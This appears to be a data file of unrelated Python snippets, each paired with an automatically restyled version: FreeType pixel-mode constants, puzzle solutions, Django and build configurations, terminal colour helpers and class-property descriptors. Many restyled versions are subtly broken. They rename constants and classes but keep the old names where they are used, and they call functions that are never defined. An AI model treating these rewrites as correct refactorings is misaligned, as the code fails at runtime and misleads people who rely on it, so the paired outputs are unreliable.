display on rotated LCD displays; the bitmap is three times taller than the
original glyph image. See also FT_RENDER_MODE_LCD_V.
"""
FT_PIXEL_MODES = {'FT_PIXEL_MODE_NONE' : 0,
'FT_PIXEL_MODE_MONO' : 1,
'FT_PIXEL_MODE_GRAY' : 2,
'FT_PIXEL_MODE_GRAY2': 3,
'FT_PIXEL_MODE_GRAY4': 4,
'FT_PIXEL_MODE_LCD' : 5,
'FT_PIXEL_MODE_LCD_V': 6,
'FT_PIXEL_MODE_MAX' : 7}
globals().update(FT_PIXEL_MODES)
ft_pixel_mode_none = FT_PIXEL_MODE_NONE
ft_pixel_mode_mono = FT_PIXEL_MODE_MONO
ft_pixel_mode_grays = FT_PIXEL_MODE_GRAY
ft_pixel_mode_pal2 = FT_PIXEL_MODE_GRAY2
ft_pixel_mode_pal4 = FT_PIXEL_MODE_GRAY4
| """
An enumeration type that lists the render modes supported by FreeType 2. Each
mode corresponds to a specific type of scanline conversion performed on the
outline.
FT_PIXEL_MODE_NONE
Value 0 is reserved.
FT_PIXEL_MODE_MONO
A monochrome bitmap, using 1 bit per pixel. Note that pixels are stored in
most-significant order (MSB), which means that the left-most pixel in a byte
has value 128.
FT_PIXEL_MODE_GRAY
An 8-bit bitmap, generally used to represent anti-aliased glyph images. Each
pixel is stored in one byte. Note that the number of 'gray' levels is stored
in the 'num_grays' field of the FT_Bitmap structure (it generally is 256).
FT_PIXEL_MODE_GRAY2
A 2-bit per pixel bitmap, used to represent embedded anti-aliased bitmaps in
font files according to the OpenType specification. We haven't found a single
font using this format, however.
FT_PIXEL_MODE_GRAY4
A 4-bit per pixel bitmap, representing embedded anti-aliased bitmaps in font
files according to the OpenType specification. We haven't found a single font
using this format, however.
FT_PIXEL_MODE_LCD
An 8-bit bitmap, representing RGB or BGR decimated glyph images used for
display on LCD displays; the bitmap is three times wider than the original
glyph image. See also FT_RENDER_MODE_LCD.
FT_PIXEL_MODE_LCD_V
An 8-bit bitmap, representing RGB or BGR decimated glyph images used for
display on rotated LCD displays; the bitmap is three times taller than the
original glyph image. See also FT_RENDER_MODE_LCD_V.
"""
ft_pixel_modes = {'FT_PIXEL_MODE_NONE': 0, 'FT_PIXEL_MODE_MONO': 1, 'FT_PIXEL_MODE_GRAY': 2, 'FT_PIXEL_MODE_GRAY2': 3, 'FT_PIXEL_MODE_GRAY4': 4, 'FT_PIXEL_MODE_LCD': 5, 'FT_PIXEL_MODE_LCD_V': 6, 'FT_PIXEL_MODE_MAX': 7}
globals().update(FT_PIXEL_MODES)
ft_pixel_mode_none = FT_PIXEL_MODE_NONE
ft_pixel_mode_mono = FT_PIXEL_MODE_MONO
ft_pixel_mode_grays = FT_PIXEL_MODE_GRAY
ft_pixel_mode_pal2 = FT_PIXEL_MODE_GRAY2
ft_pixel_mode_pal4 = FT_PIXEL_MODE_GRAY4 |
def sum(arr):
if len(arr) == 0:
return 0
return arr[0] + sum(arr[1:])
if __name__ == '__main__':
arr = [1,2,3,4,5,6,7,8]
print('Test arr: %s' % arr)
print('sum = %s' % sum(arr)) | def sum(arr):
if len(arr) == 0:
return 0
return arr[0] + sum(arr[1:])
if __name__ == '__main__':
arr = [1, 2, 3, 4, 5, 6, 7, 8]
print('Test arr: %s' % arr)
print('sum = %s' % sum(arr)) |
#!/usr/bin/env python3
file = 'input.txt'
with open(file) as f:
input = f.read().splitlines()
def more_ones(list, truth):
data = []
for i in range(0, len(list[0])):
more_ones = sum([1 for x in list if x[i] == '1']) >= sum([1 for x in list if x[i] == '0'])
if more_ones:
if truth:
data.append(1)
else:
data.append(0)
else:
if truth:
data.append(0)
else:
data.append(1)
return data
def search_lists(input, truth):
numbers = input.copy()
for i in range(0, len(input[0])):
count = 0
for line in numbers:
if line[i] == str(more_ones(numbers, truth)[i]):
count += 1
if count == len(numbers) / 2:
char = (1 if truth else 0)
else:
char = more_ones(numbers, truth)[i]
for line in list(numbers):
if line[i] != str(char):
numbers.remove(line)
if len(numbers) == 1:
return numbers[0]
print(int(search_lists(input, True), 2) * int(search_lists(input, False), 2)) | file = 'input.txt'
with open(file) as f:
input = f.read().splitlines()
def more_ones(list, truth):
data = []
for i in range(0, len(list[0])):
more_ones = sum([1 for x in list if x[i] == '1']) >= sum([1 for x in list if x[i] == '0'])
if more_ones:
if truth:
data.append(1)
else:
data.append(0)
elif truth:
data.append(0)
else:
data.append(1)
return data
def search_lists(input, truth):
numbers = input.copy()
for i in range(0, len(input[0])):
count = 0
for line in numbers:
if line[i] == str(more_ones(numbers, truth)[i]):
count += 1
if count == len(numbers) / 2:
char = 1 if truth else 0
else:
char = more_ones(numbers, truth)[i]
for line in list(numbers):
if line[i] != str(char):
numbers.remove(line)
if len(numbers) == 1:
return numbers[0]
print(int(search_lists(input, True), 2) * int(search_lists(input, False), 2)) |
class Config(object):
MONGO_URI = 'mongodb://172.17.0.2:27017/bibtexreader'
MONGO_HOST = 'mongodb://172.17.0.2:27017'
DB_NAME = 'bibtexreader'
BIB_DIR = 'bibtexfiles' | class Config(object):
mongo_uri = 'mongodb://172.17.0.2:27017/bibtexreader'
mongo_host = 'mongodb://172.17.0.2:27017'
db_name = 'bibtexreader'
bib_dir = 'bibtexfiles' |
DATABASES = {
'default': {
'NAME': ':memory:',
'ENGINE': 'django.db.backends.sqlite3',
}
}
SECRET_KEY = 'secret'
INSTALLED_APPS = (
'django_nose',
)
TEST_RUNNER = 'django_nose.NoseTestSuiteRunner'
NOSE_ARGS = (
'stopwatch',
'--verbosity=2',
'--nologcapture',
'--with-doctest',
'--with-coverage',
'--cover-package=stopwatch',
'--cover-erase',
)
| databases = {'default': {'NAME': ':memory:', 'ENGINE': 'django.db.backends.sqlite3'}}
secret_key = 'secret'
installed_apps = ('django_nose',)
test_runner = 'django_nose.NoseTestSuiteRunner'
nose_args = ('stopwatch', '--verbosity=2', '--nologcapture', '--with-doctest', '--with-coverage', '--cover-package=stopwatch', '--cover-erase') |
def dfs(self):
"""
Computes the initial source vertices for each connected component
and the parents for each vertex as determined through depth-first-search
:return: initial source vertices for each connected component, parents for each vertex
:rtype: set, dict
"""
parents = {}
components = set()
to_visit = []
for vertex in self.get_vertex():
if vertex not in parents:
components.add(vertex)
else:
continue
to_visit.append(vertex)
while to_visit:
v = to_visit.pop()
for neighbor in self.get_neighbor(v):
if neighbor not in parents:
parents[neighbor] = v
to_visit.append(neighbor)
return components, parents
def bfs(self):
"""
Computes the the parents for each vertex as determined through breadth-first search
:return: parents for each vertex
:rtype: dict
"""
parents = {}
to_visit = queue.Queue()
for vertex in self.get_vertex():
to_visit.put(vertex)
while not to_visit.empty():
v = to_visit.get()
for neighbor in self.get_neighbor(v):
if neighbor not in parents:
parents[neighbor] = v
to_visit.put(neighbor)
return parents
| def dfs(self):
"""
Computes the initial source vertices for each connected component
and the parents for each vertex as determined through depth-first-search
:return: initial source vertices for each connected component, parents for each vertex
:rtype: set, dict
"""
parents = {}
components = set()
to_visit = []
for vertex in self.get_vertex():
if vertex not in parents:
components.add(vertex)
else:
continue
to_visit.append(vertex)
while to_visit:
v = to_visit.pop()
for neighbor in self.get_neighbor(v):
if neighbor not in parents:
parents[neighbor] = v
to_visit.append(neighbor)
return (components, parents)
def bfs(self):
"""
Computes the the parents for each vertex as determined through breadth-first search
:return: parents for each vertex
:rtype: dict
"""
parents = {}
to_visit = queue.Queue()
for vertex in self.get_vertex():
to_visit.put(vertex)
while not to_visit.empty():
v = to_visit.get()
for neighbor in self.get_neighbor(v):
if neighbor not in parents:
parents[neighbor] = v
to_visit.put(neighbor)
return parents |
__author__ = "Brett Fitzpatrick"
__version__ = "0.1"
__license__ = "MIT"
__status__ = "Development"
| __author__ = 'Brett Fitzpatrick'
__version__ = '0.1'
__license__ = 'MIT'
__status__ = 'Development' |
input = """
a v b.
a :- b.
b :- a.
"""
output = """
{a, b}
"""
| input = '\na v b.\na :- b.\nb :- a.\n'
output = '\n{a, b}\n' |
_base_ = './hv_pointpillars_fpn_nus.py'
# model settings (based on nuScenes model settings)
# Voxel size for voxel encoder
# Usually voxel size is changed consistently with the point cloud range
# If point cloud range is modified, do remember to change all related
# keys in the config.
model = dict(
pts_voxel_layer=dict(
max_num_points=20,
point_cloud_range=[-100, -100, -5, 100, 100, 3],
max_voxels=(60000, 60000)),
pts_voxel_encoder=dict(
feat_channels=[64], point_cloud_range=[-100, -100, -5, 100, 100, 3]),
pts_middle_encoder=dict(output_shape=[800, 800]),
pts_bbox_head=dict(
num_classes=9,
anchor_generator=dict(
ranges=[[-100, -100, -1.8, 100, 100, -1.8]], custom_values=[]),
bbox_coder=dict(type='DeltaXYZWLHRBBoxCoder', code_size=7)))
# model training settings (based on nuScenes model settings)
train_cfg = dict(pts=dict(code_weight=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]))
| _base_ = './hv_pointpillars_fpn_nus.py'
model = dict(pts_voxel_layer=dict(max_num_points=20, point_cloud_range=[-100, -100, -5, 100, 100, 3], max_voxels=(60000, 60000)), pts_voxel_encoder=dict(feat_channels=[64], point_cloud_range=[-100, -100, -5, 100, 100, 3]), pts_middle_encoder=dict(output_shape=[800, 800]), pts_bbox_head=dict(num_classes=9, anchor_generator=dict(ranges=[[-100, -100, -1.8, 100, 100, -1.8]], custom_values=[]), bbox_coder=dict(type='DeltaXYZWLHRBBoxCoder', code_size=7)))
train_cfg = dict(pts=dict(code_weight=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0])) |
"""__init__.py - Various utilities to use throughout the system."""
def serialize_sqla(data):
"""Serialiation function to serialize any dicts or lists containing
sqlalchemy objects. This is needed for conversion to JSON format."""
# If has to_dict this is asumed working and it is used.
if hasattr(data, 'to_dict'):
return data.to_dict()
if hasattr(data, '__dict__'):
return data.__dict__
# DateTime objects should be returned as isoformat.
if hasattr(data, 'isoformat'):
return str(data.isoformat())
# Items in lists are iterated over and get serialized separetly.
if isinstance(data, (list, tuple, set)):
return [serialize_sqla(item) for item in data]
# Dictionaries get iterated over.
if isinstance(data, dict):
result = {}
for key, value in data.items():
result[key] = serialize_sqla(value)
return result
# Just hope it works.
return data
def row2dict(row):
if(not row):
return None
d = {}
for column in row.__table__.columns:
d[column.name] = getattr(row, column.name)
return d
| """__init__.py - Various utilities to use throughout the system."""
def serialize_sqla(data):
"""Serialiation function to serialize any dicts or lists containing
sqlalchemy objects. This is needed for conversion to JSON format."""
if hasattr(data, 'to_dict'):
return data.to_dict()
if hasattr(data, '__dict__'):
return data.__dict__
if hasattr(data, 'isoformat'):
return str(data.isoformat())
if isinstance(data, (list, tuple, set)):
return [serialize_sqla(item) for item in data]
if isinstance(data, dict):
result = {}
for (key, value) in data.items():
result[key] = serialize_sqla(value)
return result
return data
def row2dict(row):
if not row:
return None
d = {}
for column in row.__table__.columns:
d[column.name] = getattr(row, column.name)
return d |
"""
Sams Teach Yourself Python in 24 Hours
by Katie Cunningham
Hour 5: Processing Input and Output
Exercise:
1.
a) Ask for user input of an item, the number being purchased,
and the cost of the item. Then prit out the total and
thnak the user for shopping with you. Output should
look like this:
Give me your name, please: [Name]
How many widgets are you buying? [#]
How much do they cost, per item? [#.##]
Your total is $[#.##]
Thanks for shopping with us today [Name] !
"""
#Hour 5: Processing Input and Output
name = str(input("Give me your name, please: "))
num = float(input("How many widgets are you buying? "))
cost_per_item = float(input("How much do they cost, per item? "))
print ("Your total is $" + str(num * cost_per_item))
print ("Thanks for shopping with us today " + name + "!")
| """
Sams Teach Yourself Python in 24 Hours
by Katie Cunningham
Hour 5: Processing Input and Output
Exercise:
1.
a) Ask for user input of an item, the number being purchased,
and the cost of the item. Then prit out the total and
thnak the user for shopping with you. Output should
look like this:
Give me your name, please: [Name]
How many widgets are you buying? [#]
How much do they cost, per item? [#.##]
Your total is $[#.##]
Thanks for shopping with us today [Name] !
"""
name = str(input('Give me your name, please: '))
num = float(input('How many widgets are you buying? '))
cost_per_item = float(input('How much do they cost, per item? '))
print('Your total is $' + str(num * cost_per_item))
print('Thanks for shopping with us today ' + name + '!') |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'includes': [
'../build/win_precompile.gypi',
],
'targets': [
{
'target_name': 'check_sdk_patch',
'type': 'none',
'variables': {
'check_sdk_script': 'util/check_sdk_patch.py',
'output_path': '<(INTERMEDIATE_DIR)/check_sdk_patch',
},
'actions': [
{
'action_name': 'check_sdk_patch_action',
'inputs': [
'<(check_sdk_script)',
],
'outputs': [
# This keeps the ninja build happy and provides a slightly helpful
# error messge if the sdk is missing.
'<(output_path)'
],
'action': ['python',
'<(check_sdk_script)',
'<(windows_sdk_path)',
'<(output_path)',
],
},
],
},
{
'target_name': 'win8_util',
'type': 'static_library',
'dependencies': [
'../base/base.gyp:base',
],
'sources': [
'util/win8_util.cc',
'util/win8_util.h',
],
},
{
'target_name': 'test_support_win8',
'type': 'static_library',
'dependencies': [
'../base/base.gyp:base',
'test_registrar_constants',
],
'sources': [
'test/metro_registration_helper.cc',
'test/metro_registration_helper.h',
'test/open_with_dialog_async.cc',
'test/open_with_dialog_async.h',
'test/open_with_dialog_controller.cc',
'test/open_with_dialog_controller.h',
'test/ui_automation_client.cc',
'test/ui_automation_client.h',
],
# TODO(jschuh): crbug.com/167187 fix size_t to int truncations.
'msvs_disabled_warnings': [ 4267, ],
},
{
'target_name': 'test_registrar_constants',
'type': 'static_library',
'include_dirs': [
'..',
],
'sources': [
'test/test_registrar_constants.cc',
'test/test_registrar_constants.h',
],
},
],
}
| {'variables': {'chromium_code': 1}, 'includes': ['../build/win_precompile.gypi'], 'targets': [{'target_name': 'check_sdk_patch', 'type': 'none', 'variables': {'check_sdk_script': 'util/check_sdk_patch.py', 'output_path': '<(INTERMEDIATE_DIR)/check_sdk_patch'}, 'actions': [{'action_name': 'check_sdk_patch_action', 'inputs': ['<(check_sdk_script)'], 'outputs': ['<(output_path)'], 'action': ['python', '<(check_sdk_script)', '<(windows_sdk_path)', '<(output_path)']}]}, {'target_name': 'win8_util', 'type': 'static_library', 'dependencies': ['../base/base.gyp:base'], 'sources': ['util/win8_util.cc', 'util/win8_util.h']}, {'target_name': 'test_support_win8', 'type': 'static_library', 'dependencies': ['../base/base.gyp:base', 'test_registrar_constants'], 'sources': ['test/metro_registration_helper.cc', 'test/metro_registration_helper.h', 'test/open_with_dialog_async.cc', 'test/open_with_dialog_async.h', 'test/open_with_dialog_controller.cc', 'test/open_with_dialog_controller.h', 'test/ui_automation_client.cc', 'test/ui_automation_client.h'], 'msvs_disabled_warnings': [4267]}, {'target_name': 'test_registrar_constants', 'type': 'static_library', 'include_dirs': ['..'], 'sources': ['test/test_registrar_constants.cc', 'test/test_registrar_constants.h']}]} |
class Solution:
def maxSlidingWindow(self, nums, k):
deq, n, ans = deque([0]), len(nums), []
for i in range (n):
while deq and deq[0] <= i - k:
deq.popleft()
while deq and nums[i] >= nums[deq[-1]] :
deq.pop()
deq.append(i)
ans.append(nums[deq[0]])
return ans[k-1:]
| class Solution:
def max_sliding_window(self, nums, k):
(deq, n, ans) = (deque([0]), len(nums), [])
for i in range(n):
while deq and deq[0] <= i - k:
deq.popleft()
while deq and nums[i] >= nums[deq[-1]]:
deq.pop()
deq.append(i)
ans.append(nums[deq[0]])
return ans[k - 1:] |
TEXT_BLACK = "\033[0;30;40m"
TEXT_RED = "\033[1;31;40m"
TEXT_GREEN = "\033[1;32;40m"
TEXT_YELLOW = "\033[1;33;40m"
TEXT_WHITE = "\033[1;37;40m"
TEXT_BLUE = "\033[1;34;40m"
TEXT_RESET = "\033[0;0m"
def get_color(ctype):
if ctype == 'yellow':
color = TEXT_YELLOW
elif ctype == 'green':
color = TEXT_GREEN
elif ctype == 'white':
color = TEXT_WHITE
elif ctype == 'black':
color = TEXT_BLACK
elif ctype == 'blue':
color = TEXT_BLUE
elif ctype == 'red':
color = TEXT_RED
return color
def print_emph(msg):
bar = "# # # # # # # # # # # # # # # # # # # #"
print("{}{}".format(TEXT_WHITE, bar))
print("# {}".format(msg))
print("{}{}".format(bar, TEXT_RESET))
pass
def print_highlight(msg, ctype='yellow'):
color = get_color(ctype)
print("{}{}{}".format(color, msg, TEXT_RESET))
def test():
print("\033[0;37;40m Normal text\n")
print("\033[2;37;40m Underlined text\033[0;37;40m \n")
print("\033[1;37;40m Bright Colour\033[0;37;40m \n")
print("\033[3;37;40m Negative Colour\033[0;37;40m \n")
print("\033[5;37;40m Negative Colour\033[0;37;40m\n")
print("\033[1;37;40m \033[2;37:40m TextColour BlackBackground TextColour GreyBackground WhiteText ColouredBackground\033[0;37;40m\n")
print("\033[1;30;40m Dark Gray \033[0m 1;30;40m \033[0;30;47m Black \033[0m 0;30;47m \033[0;37;41m Black \033[0m 0;37;41m")
print("\033[1;31;40m Bright Red \033[0m 1;31;40m \033[0;31;47m Red \033[0m 0;31;47m \033[0;37;42m Black \033[0m 0;37;42m")
print("\033[1;32;40m Bright Green \033[0m 1;32;40m \033[0;32;47m Green \033[0m 0;32;47m \033[0;37;43m Black \033[0m 0;37;43m")
print("\033[1;33;40m Yellow \033[0m 1;33;40m \033[0;33;47m Brown \033[0m 0;33;47m \033[0;37;44m Black \033[0m 0;37;44m")
print("\033[1;34;40m Bright Blue \033[0m 1;34;40m \033[0;34;47m Blue \033[0m 0;34;47m \033[0;37;45m Black \033[0m 0;37;45m")
print("\033[1;35;40m Bright Magenta \033[0m 1;35;40m \033[0;35;47m Magenta \033[0m 0;35;47m \033[0;37;46m Black \033[0m 0;37;46m")
print("\033[1;36;40m Bright Cyan \033[0m 1;36;40m \033[0;36;47m Cyan \033[0m 0;36;47m \033[0;37;47m Black \033[0m 0;37;47m")
print("\033[1;37;40m White \033[0m 1;37;40m \033[0;37;40m Light Grey \033[0m 0;37;40m \033[0;37;48m Black \033[0m 0;37;48m")
| text_black = '\x1b[0;30;40m'
text_red = '\x1b[1;31;40m'
text_green = '\x1b[1;32;40m'
text_yellow = '\x1b[1;33;40m'
text_white = '\x1b[1;37;40m'
text_blue = '\x1b[1;34;40m'
text_reset = '\x1b[0;0m'
def get_color(ctype):
if ctype == 'yellow':
color = TEXT_YELLOW
elif ctype == 'green':
color = TEXT_GREEN
elif ctype == 'white':
color = TEXT_WHITE
elif ctype == 'black':
color = TEXT_BLACK
elif ctype == 'blue':
color = TEXT_BLUE
elif ctype == 'red':
color = TEXT_RED
return color
def print_emph(msg):
bar = '# # # # # # # # # # # # # # # # # # # #'
print('{}{}'.format(TEXT_WHITE, bar))
print('# {}'.format(msg))
print('{}{}'.format(bar, TEXT_RESET))
pass
def print_highlight(msg, ctype='yellow'):
color = get_color(ctype)
print('{}{}{}'.format(color, msg, TEXT_RESET))
def test():
print('\x1b[0;37;40m Normal text\n')
print('\x1b[2;37;40m Underlined text\x1b[0;37;40m \n')
print('\x1b[1;37;40m Bright Colour\x1b[0;37;40m \n')
print('\x1b[3;37;40m Negative Colour\x1b[0;37;40m \n')
print('\x1b[5;37;40m Negative Colour\x1b[0;37;40m\n')
print('\x1b[1;37;40m \x1b[2;37:40m TextColour BlackBackground TextColour GreyBackground WhiteText ColouredBackground\x1b[0;37;40m\n')
print('\x1b[1;30;40m Dark Gray \x1b[0m 1;30;40m \x1b[0;30;47m Black \x1b[0m 0;30;47m \x1b[0;37;41m Black \x1b[0m 0;37;41m')
print('\x1b[1;31;40m Bright Red \x1b[0m 1;31;40m \x1b[0;31;47m Red \x1b[0m 0;31;47m \x1b[0;37;42m Black \x1b[0m 0;37;42m')
print('\x1b[1;32;40m Bright Green \x1b[0m 1;32;40m \x1b[0;32;47m Green \x1b[0m 0;32;47m \x1b[0;37;43m Black \x1b[0m 0;37;43m')
print('\x1b[1;33;40m Yellow \x1b[0m 1;33;40m \x1b[0;33;47m Brown \x1b[0m 0;33;47m \x1b[0;37;44m Black \x1b[0m 0;37;44m')
print('\x1b[1;34;40m Bright Blue \x1b[0m 1;34;40m \x1b[0;34;47m Blue \x1b[0m 0;34;47m \x1b[0;37;45m Black \x1b[0m 0;37;45m')
print('\x1b[1;35;40m Bright Magenta \x1b[0m 1;35;40m \x1b[0;35;47m Magenta \x1b[0m 0;35;47m \x1b[0;37;46m Black \x1b[0m 0;37;46m')
print('\x1b[1;36;40m Bright Cyan \x1b[0m 1;36;40m \x1b[0;36;47m Cyan \x1b[0m 0;36;47m \x1b[0;37;47m Black \x1b[0m 0;37;47m')
print('\x1b[1;37;40m White \x1b[0m 1;37;40m \x1b[0;37;40m Light Grey \x1b[0m 0;37;40m \x1b[0;37;48m Black \x1b[0m 0;37;48m') |
##########################################################################
# pylogparser - Copyright (C) AGrigis, 2016
# Distributed under the terms of the CeCILL-B license, as published by
# the CEA-CNRS-INRIA. Refer to the LICENSE file or to
# http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html
# for details.
##########################################################################
# Current version
version_major = 0
version_minor = 1
version_micro = 0
# Expected by setup.py: string of form "X.Y.Z"
__version__ = "{0}.{1}.{2}".format(version_major, version_minor, version_micro)
# Expected by setup.py: the status of the project
CLASSIFIERS = ["Development Status :: 5 - Production/Stable",
"Environment :: Console",
"Environment :: X11 Applications :: Qt",
"Operating System :: OS Independent",
"Programming Language :: Python",
"Topic :: Scientific/Engineering",
"Topic :: Utilities"]
# Project descriptions
description = """
[pylogparser] A Python project that provides common parser for log files.
It is also connected with ElasticSearch in order to centralize the data and
to provide a sophisticated RESTful API to request the data.
"""
long_description = """
[pylogparser] A Python project that provides common parser for log files.
It is also connected with ElasticSearch in order to centralize the data and
to provide a sophisticated RESTful API to request the data.
"""
# Main setup parameters
NAME = "pyLogParser"
ORGANISATION = "CEA"
MAINTAINER = "Antoine Grigis"
MAINTAINER_EMAIL = "antoine.grigis@cea.fr"
DESCRIPTION = description
LONG_DESCRIPTION = long_description
URL = "https://github.com/AGrigis/pylogparser"
DOWNLOAD_URL = "https://github.com/AGrigis/pylogparser"
LICENSE = "CeCILL-B"
CLASSIFIERS = CLASSIFIERS
AUTHOR = "pyLogParser developers"
AUTHOR_EMAIL = "antoine.grigis@cea.fr"
PLATFORMS = "OS Independent"
ISRELEASE = True
VERSION = __version__
PROVIDES = ["pylogparser"]
REQUIRES = [
"elasticsearch>=2.3.0",
"python-dateutil>=1.5"
]
EXTRA_REQUIRES = {}
| version_major = 0
version_minor = 1
version_micro = 0
__version__ = '{0}.{1}.{2}'.format(version_major, version_minor, version_micro)
classifiers = ['Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Environment :: X11 Applications :: Qt', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering', 'Topic :: Utilities']
description = '\n[pylogparser] A Python project that provides common parser for log files.\nIt is also connected with ElasticSearch in order to centralize the data and\nto provide a sophisticated RESTful API to request the data.\n'
long_description = '\n[pylogparser] A Python project that provides common parser for log files.\nIt is also connected with ElasticSearch in order to centralize the data and\nto provide a sophisticated RESTful API to request the data.\n'
name = 'pyLogParser'
organisation = 'CEA'
maintainer = 'Antoine Grigis'
maintainer_email = 'antoine.grigis@cea.fr'
description = description
long_description = long_description
url = 'https://github.com/AGrigis/pylogparser'
download_url = 'https://github.com/AGrigis/pylogparser'
license = 'CeCILL-B'
classifiers = CLASSIFIERS
author = 'pyLogParser developers'
author_email = 'antoine.grigis@cea.fr'
platforms = 'OS Independent'
isrelease = True
version = __version__
provides = ['pylogparser']
requires = ['elasticsearch>=2.3.0', 'python-dateutil>=1.5']
extra_requires = {} |
# -*- coding: utf-8
class BaseObject:
"""
Base Unke object type
Represents a node in a document.
"""
def __init__(self, parent=None):
self.parent = parent
self.children = []
self.name = ''
self.properties = {}
@property
def props(self):
return self.properties
@property
def anonymous(self):
return self.name is None
@property
def siblings(self):
if self.parent:
return list(filter(lambda sibling: sibling is not self, self.parent.children))
else:
return []
def __repr__(self):
return 'Object({}, {})'.format(self.name, id(self))
class BoostedObject(BaseObject):
"""
Default Unke Object type with enhanced performance
Represents a node in a document
"""
# Making use of __slots__ to improve object creation performance
__slots__ = ('parent', 'children', 'name', 'properties')
def __init__(self):
BaseObject.__init__(self)
| class Baseobject:
"""
Base Unke object type
Represents a node in a document.
"""
def __init__(self, parent=None):
self.parent = parent
self.children = []
self.name = ''
self.properties = {}
@property
def props(self):
return self.properties
@property
def anonymous(self):
return self.name is None
@property
def siblings(self):
if self.parent:
return list(filter(lambda sibling: sibling is not self, self.parent.children))
else:
return []
def __repr__(self):
return 'Object({}, {})'.format(self.name, id(self))
class Boostedobject(BaseObject):
"""
Default Unke Object type with enhanced performance
Represents a node in a document
"""
__slots__ = ('parent', 'children', 'name', 'properties')
def __init__(self):
BaseObject.__init__(self) |
# pylint:enable=W04044
"""check unknown option
"""
__revision__ = 1
| """check unknown option
"""
__revision__ = 1 |
class Solution:
def duplicateZeros(self, arr: List[int]) -> None:
"""
Do not return anything, modify arr in-place instead.
"""
for i in range(len(arr) - 1, -1, -1):
if not arr[i]:
arr.insert(i + 1, 0)
arr.pop() | class Solution:
def duplicate_zeros(self, arr: List[int]) -> None:
"""
Do not return anything, modify arr in-place instead.
"""
for i in range(len(arr) - 1, -1, -1):
if not arr[i]:
arr.insert(i + 1, 0)
arr.pop() |
class ClassPropertyDescriptor(object):
#def __init__(self, fget, fset=None):
def __init__(self, fget):
self.fget = fget
#self.fset = fset
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
return self.fget.__get__(obj, klass)()
"""
def __set__(self, obj, value):
if not self.fset:
raise AttributeError("can't set attribute")
type_ = type(obj)
return self.fset.__get__(obj, type_)(value)
def setter(self, func):
import ipdb;ipdb.set_trace()
if not isinstance(func, (classmethod, staticmethod)):
func = classmethod(func)
self.fset = func
return self
"""
def classproperty(func):
if not isinstance(func, (classmethod, staticmethod)):
func = classmethod(func)
return ClassPropertyDescriptor(func)
class CachedClassPropertyDescriptor(object):
def __init__(self, fget):
self.fget = fget
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
try:
return self.cached_data
except:
self.cached_data = self.fget.__get__(obj, klass)()
return self.cached_data
def cachedclassproperty(func):
if not isinstance(func, (classmethod, staticmethod)):
func = classmethod(func)
return CachedClassPropertyDescriptor(func)
"""
class Test(object):
@classproperty
def NAME1(cls):
print("CALL 'Test.NAME1'")
return cls._NAME1 if hasattr(cls,"_NAME1") else "Jack1"
@classproperty
def NAME2(cls):
print("CALL 'Test.NAME2'")
return cls._NAME2 if hasattr(cls,"_NAME2") else "Jack2"
@cachedclassproperty
def CACHED_NAME1(cls):
print("CALL 'Test.CACHED_NAME1'")
return cls._CACHED_NAME1 if hasattr(cls,"_CACHED_NAME1") else "Cached Jack1"
@cachedclassproperty
def CACHED_NAME2(cls):
print("CALL 'Test.CACHED_NAME2'")
return cls._CACHED_NAME2 if hasattr(cls,"_CACHED_NAME2") else "Cached Jack2"
@cachedclassproperty
def CACHED_NAME3(cls):
print("CALL 'Test.CACHED_NAME3'")
return cls._CACHED_NAME3 if hasattr(cls,"_CACHED_NAME3") else "Cached Jack3"
class Test1(Test):
@classproperty
def NAME2(cls):
print("CALL 'Test1.NAME2'")
return cls._NAME2 if hasattr(cls,"_NAME2") else "Tommy2"
@cachedclassproperty
def CACHED_NAME2(cls):
print("CALL 'Test1.CACHED_NAME2'")
return cls._CACHED_NAME2 if hasattr(cls,"_CACHED_NAME2") else "Cached Tommy2"
@classproperty
def CACHED_NAME3(cls):
print("CALL 'Test1.CACHED_NAME3'")
return cls._CACHED_NAME3 if hasattr(cls,"_CACHED_NAME3") else "Cached Tommy3"
The setter didn't work at the time we call Bar.bar, because we are calling TypeOfBar.bar.__set__, which is not Bar.bar.__set__.
Adding a metaclass definition solves this:
class ClassPropertyMetaClass(type):
def __setattr__(self, key, value):
if key in self.__dict__:
obj = self.__dict__.get(key)
if obj and type(obj) is ClassPropertyDescriptor:
return obj.__set__(self, value)
return super(ClassPropertyMetaClass, self).__setattr__(key, value)
# and update class define:
# class Bar(object):
# __metaclass__ = ClassPropertyMetaClass
# _bar = 1
# and update ClassPropertyDescriptor.__set__
# def __set__(self, obj, value):
# if not self.fset:
# raise AttributeError("can't set attribute")
# if inspect.isclass(obj):
# type_ = obj
# obj = None
# else:
# type_ = type(obj)
# return self.fset.__get__(obj, type_)(value)
"""
| class Classpropertydescriptor(object):
def __init__(self, fget):
self.fget = fget
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
return self.fget.__get__(obj, klass)()
'\n def __set__(self, obj, value):\n if not self.fset:\n raise AttributeError("can\'t set attribute")\n type_ = type(obj)\n return self.fset.__get__(obj, type_)(value)\n\n def setter(self, func):\n import ipdb;ipdb.set_trace()\n if not isinstance(func, (classmethod, staticmethod)):\n func = classmethod(func)\n self.fset = func\n return self\n '
def classproperty(func):
if not isinstance(func, (classmethod, staticmethod)):
func = classmethod(func)
return class_property_descriptor(func)
class Cachedclasspropertydescriptor(object):
def __init__(self, fget):
self.fget = fget
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
try:
return self.cached_data
except:
self.cached_data = self.fget.__get__(obj, klass)()
return self.cached_data
def cachedclassproperty(func):
if not isinstance(func, (classmethod, staticmethod)):
func = classmethod(func)
return cached_class_property_descriptor(func)
